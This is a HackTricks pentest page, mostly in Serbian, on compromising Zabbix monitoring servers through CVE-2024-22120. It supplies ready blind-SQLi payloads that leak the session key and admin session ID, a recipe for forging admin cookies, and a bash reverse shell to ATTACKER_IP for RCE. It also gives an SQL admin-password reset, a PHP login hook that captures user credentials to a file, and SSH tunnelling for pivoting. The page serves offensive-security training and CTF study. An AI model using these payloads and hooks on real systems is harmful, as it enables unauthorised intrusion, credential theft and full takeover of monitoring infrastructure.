Zabbix Security
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Overview
Zabbix je monitoring platforma koja izlaže web UI (obično iza Apache/Nginx) i server komponentu koja takođe koristi Zabbix protokol na TCP/10051 (server/trapper) i agent na TCP/10050. Tokom angažmana možete naići na:
- Web UI: HTTP(S) virtual host kao zabbix.example.tld
- Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
- Zabbix agent port: 10050/tcp
Korisni format cookie-a: zbx_session je Base64 kompaktnog JSON objekta koji uključuje bar sessionid, serverCheckResult, serverCheckTime i sign. Sign je HMAC JSON payload-a.
zbx_session cookie internals
Recent Zabbix verzije računaju cookie ovako:
- data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
- Final cookie: Base64(JSON_with_sign)
Ako možete povratiti global session_key i validan admin sessionid, možete offline falsifikovati validan Admin cookie i autentifikovati se na UI.
CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log
Affected versions (as publicly documented):
- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1
Vulnerability summary:
- Kada se izvršenje Script snima u Zabbix Server audit log, polje clientip nije sanitizovano i konkatenira se u SQL, što omogućava time-based blind SQLi preko server komponente.
- Ovo je eksploatabilno slanjem crafted "command" zahteva na Zabbix server port 10051 sa validnim low-privileged sessionid, hostid koji korisnik može pristupiti i dozvoljenim scriptid-om.
Preconditions and discovery tips:
- sessionid: Iz guest/login u web UI, dekodirajte zbx_session (Base64) da biste dobili sessionid.
- hostid: Posmatrajte preko web UI zahteva (npr. Monitoring → Hosts) ili presretnite sa proxy-jem; uobičajeni default je 10084.
- scriptid: Samo skripte dozvoljene trenutnoj roli će se izvršiti; proverite kroz meni skripti/AJAX odgovore. Default vrednosti kao 1 ili 2 su često dozvoljene; 3 može biti odbijen.
Exploitation flow
- Trigger audit insert with SQLi in clientip
- Povežite se na TCP/10051 i pošaljite Zabbix framed poruku sa request="command" uključujući sid, hostid, scriptid, i clientip postavljen na SQL izraz koji će server konkatenirati i evaluirati.
Minimal message (JSON body) fields:
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}
Puni wire format je: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. Možete koristiti pwntools ili sopstveni socket kod da ga enkapsulirate.
- Time-bruteforce secrets via conditional sleep
Koristite uslovne izraze da leak hex-encoded tajne po 1 karakter merenjem vremena odgovora. Primeri koji su radili u praksi:
- Leak global session_key iz config fajla:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
- Leak Admin session_id (userid=1) iz tabele sessions:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
Beleške:
- charset: 32 hex chars [0-9a-f]
- Izaberi T_TRUE >> T_FALSE (npr. 10 vs 1) i izmeri wall-clock po pokušaju
- Osiguraj da je tvoj scriptid zaista autorizovan za korisnika; u suprotnom se nijedan audit row ne pravi i timing neće raditi
- Forge Admin cookie
Once you have:
- session_key: 32-hex from config.session_key
- admin_sessionid: 32-hex from sessions.sessionid for userid=1
Compute:
- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
- zbx_session = Base64(JSON_with_sign)
Postavi cookie zbx_session na ovu vrednost i GET /zabbix.php?action=dashboard.view da potvrdiš Admin pristup.
Alati spremni za upotrebu
- Javni PoC automatizuje: bruteforce session_key i admin sessionid, i cookie forging; zahteva pwntools i requests.
- Parametri koje obično treba navesti uključuju: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, i opciono poznat --admin-sid da se preskoči brute.
RCE via Script execution (post-Admin)
Sa Admin pristupom u UI, možeš da izvršavaš unapred definisane Scripts protiv nadgledanih hosts. Ako agents/hosts izvršavaju script komande lokalno, to daje izvršenje koda na tim sistemima (često kao korisnik zabbix na Linux hostovima):
- Quick check: run id to confirm user context
- Reverse shell example:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
Unapređenje TTY (Linux):
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset
Ako imate DB pristup, alternativa za forging a cookie je resetovanje Admin lozinke na dokumentovani bcrypt za "zabbix":
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
Credential capture via login hook (post-exploitation)
Ako je file write moguć na web UI serveru, možete privremeno dodati logging snippet u /usr/share/zabbix/index.php oko form-based login branch kako biste capture credentials:
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}
Korisnici se normalno autentifikuju; pročitajte /dev/shm/creds.txt nakon toga. Uklonite hook kada završite.
Pivoting to internal services
Čak i ako je shell servisnog naloga /usr/sbin/nologin, dodavanje SSH authorized_keys unosa i korišćenje -N -L omogućava lokalno prosleđivanje portova ka servisima dostupnim samo na loopback interfejsu (npr. CI/CD na 8111):
ssh -i key user@host -N -L 8111:127.0.0.1:8111
Pogledajte više tunneling obrazaca u: Proverite Tunneling and Port Forwarding.
Operativni saveti
- Proverite da li je scriptid dozvoljen za trenutnu ulogu (guest može imati ograničen skup)
- Timing brute može biti spor; keširajte vraćenu admin sessionid i ponovo je koristite
- JSON poslat na 10051 mora biti uokviren sa ZBXD\x01 headerom i little-endian dužinom
Reference
- HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot
- CVE-2024-22120-RCE toolkit (PoC scripts)
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks